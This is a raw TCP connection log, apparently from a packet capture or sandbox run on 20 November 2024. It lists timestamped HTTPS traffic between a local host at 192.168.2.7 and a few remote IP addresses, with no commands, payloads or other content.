Nov 20, 2024 17:41:26.403579950 CET	443	49707	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:26.403593063 CET	49707	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:26.403804064 CET	443	49707	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:26.403844118 CET	443	49707	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:26.403893948 CET	49707	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:26.406349897 CET	49714	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:26.406377077 CET	443	49714	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:26.406450033 CET	49714	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:26.406713009 CET	49715	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:26.406727076 CET	443	49715	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:26.406816006 CET	49715	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:26.406867981 CET	49714	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:26.406877041 CET	443	49714	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:26.406991005 CET	49716	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:26.407012939 CET	443	49716	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:26.407072067 CET	49716	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:26.407344103 CET	49715	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:26.407354116 CET	443	49715	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:26.407936096 CET	49717	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:26.407954931 CET	443	49717	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:26.408011913 CET	49717	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:26.408603907 CET	49716	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:26.408613920 CET	443	49716	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:26.408629894 CET	49717	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:26.408646107 CET	443	49717	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:26.458719969 CET	443	49712	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:26.458843946 CET	49712	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:26.460537910 CET	49712	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:26.460549116 CET	443	49712	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:26.460865021 CET	443	49712	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:26.462182045 CET	49712	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:26.462393999 CET	49712	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:26.462426901 CET	443	49712	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:26.860588074 CET	49677	443	192.168.2.7	20.50.201.200
Nov 20, 2024 17:41:27.359874010 CET	443	49712	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:27.360065937 CET	443	49712	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:27.360121012 CET	49712	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:27.360243082 CET	49712	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:27.360260010 CET	443	49712	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:27.482532978 CET	49718	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:27.482578993 CET	443	49718	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:27.482676029 CET	49718	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:27.483179092 CET	49718	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:27.483192921 CET	443	49718	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:27.816540003 CET	443	49703	104.98.116.138	192.168.2.7
Nov 20, 2024 17:41:27.816689014 CET	49703	443	192.168.2.7	104.98.116.138
Nov 20, 2024 17:41:28.155872107 CET	443	49716	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:28.156527042 CET	49716	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:28.156574011 CET	443	49716	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:28.157207966 CET	49716	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:28.157222033 CET	443	49716	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:28.221620083 CET	443	49714	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:28.222155094 CET	49714	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:28.222162008 CET	443	49714	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:28.222753048 CET	49714	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:28.222758055 CET	443	49714	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:28.309437990 CET	443	49717	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:28.310302973 CET	443	49713	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:28.334899902 CET	443	49715	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:28.336831093 CET	49717	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:28.336853027 CET	443	49717	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:28.337538958 CET	49717	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:28.337548018 CET	443	49717	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:28.338140965 CET	49713	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:28.338151932 CET	443	49713	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:28.338498116 CET	49713	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:28.338504076 CET	443	49713	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:28.339031935 CET	49715	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:28.339052916 CET	443	49715	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:28.339617968 CET	49715	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:28.339622021 CET	443	49715	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:28.596620083 CET	443	49716	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:28.596693993 CET	443	49716	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:28.596746922 CET	49716	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:28.596965075 CET	49716	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:28.596997976 CET	443	49716	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:28.597024918 CET	49716	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:28.597038984 CET	443	49716	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:28.600425959 CET	49719	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:28.600467920 CET	443	49719	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:28.600531101 CET	49719	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:28.600684881 CET	49719	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:28.600708008 CET	443	49719	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:28.669399023 CET	443	49714	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:28.669452906 CET	443	49714	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:28.669558048 CET	49714	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:28.669868946 CET	49714	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:28.669883966 CET	443	49714	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:28.669903040 CET	49714	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:28.669909000 CET	443	49714	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:28.673300028 CET	49720	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:28.673403978 CET	443	49720	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:28.673490047 CET	49720	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:28.673661947 CET	49720	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:28.673697948 CET	443	49720	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:28.703941107 CET	443	49718	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:28.704098940 CET	49718	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:28.710076094 CET	49718	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:28.710084915 CET	443	49718	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:28.710998058 CET	443	49718	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:28.712584019 CET	49718	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:28.712749958 CET	49718	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:28.712798119 CET	443	49718	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:28.712867975 CET	49718	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:28.712873936 CET	443	49718	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:28.765263081 CET	443	49713	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:28.765430927 CET	443	49713	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:28.765592098 CET	49713	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:28.766025066 CET	49713	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:28.766025066 CET	49713	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:28.766038895 CET	443	49713	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:28.766047001 CET	443	49713	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:28.768438101 CET	443	49717	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:28.768625021 CET	443	49717	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:28.768721104 CET	49717	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:28.768721104 CET	49717	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:28.768791914 CET	49717	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:28.768826962 CET	443	49717	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:28.769681931 CET	49721	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:28.769712925 CET	443	49721	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:28.769836903 CET	49721	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:28.770028114 CET	49721	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:28.770044088 CET	443	49721	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:28.771029949 CET	49722	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:28.771065950 CET	443	49722	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:28.771142960 CET	49722	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:28.771292925 CET	49722	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:28.771308899 CET	443	49722	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:28.790481091 CET	443	49715	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:28.790648937 CET	443	49715	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:28.790740967 CET	49715	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:28.790909052 CET	49715	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:28.790909052 CET	49715	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:28.790920973 CET	443	49715	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:28.790927887 CET	443	49715	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:28.793836117 CET	49723	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:28.793868065 CET	443	49723	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:28.793929100 CET	49723	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:28.794034958 CET	49723	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:28.794048071 CET	443	49723	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:29.682820082 CET	443	49718	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:29.683082104 CET	443	49718	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:29.683145046 CET	49718	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:29.683146000 CET	49718	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:29.889712095 CET	49724	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:29.889744997 CET	443	49724	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:29.889815092 CET	49724	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:29.890171051 CET	49724	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:29.890185118 CET	443	49724	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:30.501020908 CET	443	49722	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:30.502032042 CET	49722	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:30.502058029 CET	443	49722	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:30.502614975 CET	49722	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:30.502620935 CET	443	49722	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:30.592195034 CET	443	49720	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:30.592833042 CET	49720	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:30.592858076 CET	443	49720	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:30.593386889 CET	49720	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:30.593393087 CET	443	49720	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:30.621068954 CET	443	49719	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:30.621685982 CET	49719	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:30.621699095 CET	443	49719	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:30.622132063 CET	49719	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:30.622137070 CET	443	49719	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:30.680668116 CET	443	49723	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:30.681312084 CET	49723	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:30.681339025 CET	443	49723	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:30.681833982 CET	49723	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:30.681840897 CET	443	49723	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:30.739907980 CET	443	49721	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:30.740605116 CET	49721	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:30.740629911 CET	443	49721	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:30.741131067 CET	49721	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:30.741137028 CET	443	49721	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:31.045022011 CET	443	49720	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:31.045115948 CET	443	49720	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:31.045207977 CET	49720	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:31.045479059 CET	49720	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:31.045502901 CET	443	49720	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:31.045520067 CET	49720	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:31.045527935 CET	443	49720	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:31.049150944 CET	49725	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:31.049191952 CET	443	49725	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:31.049294949 CET	49725	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:31.049454927 CET	49725	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:31.049472094 CET	443	49725	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:31.071024895 CET	443	49719	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:31.071106911 CET	443	49719	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:31.071196079 CET	49719	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:31.076224089 CET	49719	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:31.076234102 CET	443	49719	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:31.076503992 CET	49719	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:31.076508999 CET	443	49719	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:31.079706907 CET	49726	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:31.079778910 CET	443	49726	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:31.079868078 CET	49726	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:31.080014944 CET	49726	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:31.080046892 CET	443	49726	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:31.155797958 CET	443	49723	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:31.155890942 CET	443	49723	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:31.155946016 CET	49723	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:31.156135082 CET	49723	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:31.156150103 CET	443	49723	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:31.156166077 CET	49723	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:31.156172991 CET	443	49723	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:31.159152985 CET	49727	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:31.159197092 CET	443	49727	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:31.159260988 CET	49727	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:31.159395933 CET	49727	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:31.159413099 CET	443	49727	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:31.179390907 CET	443	49722	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:31.179574013 CET	443	49722	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:31.179632902 CET	49722	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:31.179666996 CET	49722	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:31.179683924 CET	443	49722	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:31.179691076 CET	49722	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:31.179697037 CET	443	49722	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:31.181859970 CET	49728	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:31.181876898 CET	443	49728	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:31.181938887 CET	49728	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:31.182066917 CET	49728	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:31.182077885 CET	443	49728	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:31.225016117 CET	443	49721	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:31.225087881 CET	443	49721	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:31.225150108 CET	49721	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:31.225332022 CET	49721	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:31.225339890 CET	443	49721	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:31.225367069 CET	49721	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:31.225373030 CET	443	49721	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:31.227966070 CET	49729	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:31.228005886 CET	443	49729	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:31.228075981 CET	49729	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:31.228218079 CET	49729	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:31.228230953 CET	443	49729	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:31.461725950 CET	443	49724	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:31.461864948 CET	49724	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:31.463766098 CET	49724	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:31.463776112 CET	443	49724	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:31.464171886 CET	443	49724	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:31.465677977 CET	49724	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:31.465748072 CET	49724	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:31.465776920 CET	443	49724	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:31.465842009 CET	49724	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:31.465857983 CET	443	49724	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:32.368320942 CET	443	49724	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:32.368451118 CET	443	49724	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:32.368535995 CET	49724	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:32.368738890 CET	49724	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:32.368751049 CET	443	49724	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:32.811920881 CET	49730	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:32.811997890 CET	443	49730	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:32.812089920 CET	49730	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:32.812473059 CET	49730	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:32.812515974 CET	443	49730	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:32.918180943 CET	443	49725	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:32.918845892 CET	49725	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:32.918869019 CET	443	49725	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:32.919354916 CET	49725	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:32.919359922 CET	443	49725	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:32.934197903 CET	443	49726	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:32.934670925 CET	49726	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:32.934720039 CET	443	49726	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:32.935069084 CET	49726	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:32.935081005 CET	443	49726	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:32.977703094 CET	443	49728	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:32.978214025 CET	49728	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:32.978224993 CET	443	49728	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:32.978610992 CET	49728	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:32.978615999 CET	443	49728	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:33.021836042 CET	443	49727	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:33.022419930 CET	49727	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:33.022437096 CET	443	49727	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:33.022830963 CET	49727	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:33.022834063 CET	443	49727	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:33.105501890 CET	443	49729	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:33.106015921 CET	49729	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:33.106076002 CET	443	49729	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:33.106427908 CET	49729	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:33.106441021 CET	443	49729	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:33.378356934 CET	443	49725	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:33.378541946 CET	443	49725	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:33.378638029 CET	49725	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:33.378799915 CET	49725	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:33.378813028 CET	443	49725	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:33.378825903 CET	49725	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:33.378830910 CET	443	49725	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:33.382581949 CET	49731	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:33.382617950 CET	443	49731	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:33.382733107 CET	49731	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:33.382914066 CET	49731	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:33.382937908 CET	443	49731	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:33.386921883 CET	443	49726	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:33.386976957 CET	443	49726	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:33.387042046 CET	49726	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:33.387200117 CET	49726	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:33.387223959 CET	443	49726	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:33.387239933 CET	49726	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:33.387252092 CET	443	49726	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:33.389385939 CET	49732	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:33.389415026 CET	443	49732	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:33.389489889 CET	49732	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:33.389624119 CET	49732	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:33.389638901 CET	443	49732	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:33.421396017 CET	443	49728	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:33.421454906 CET	443	49728	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:33.421557903 CET	49728	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:33.421638012 CET	49728	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:33.421643972 CET	443	49728	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:33.421652079 CET	49728	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:33.421655893 CET	443	49728	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:33.423845053 CET	49733	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:33.423883915 CET	443	49733	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:33.423960924 CET	49733	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:33.424088001 CET	49733	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:33.424104929 CET	443	49733	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:33.484514952 CET	443	49727	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:33.484668016 CET	443	49727	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:33.484740019 CET	49727	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:33.484905005 CET	49727	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:33.484920025 CET	443	49727	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:33.484936953 CET	49727	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:33.484942913 CET	443	49727	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:33.488116980 CET	49734	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:33.488130093 CET	443	49734	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:33.488214016 CET	49734	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:33.488396883 CET	49734	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:33.488409996 CET	443	49734	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:33.581273079 CET	443	49729	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:33.581415892 CET	443	49729	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:33.581512928 CET	49729	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:33.581676960 CET	49729	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:33.581715107 CET	443	49729	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:33.581744909 CET	49729	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:33.581758976 CET	443	49729	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:33.584924936 CET	49735	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:33.584964991 CET	443	49735	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:33.585050106 CET	49735	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:33.585262060 CET	49735	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:33.585282087 CET	443	49735	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:34.126192093 CET	443	49730	104.21.66.38	192.168.2.7
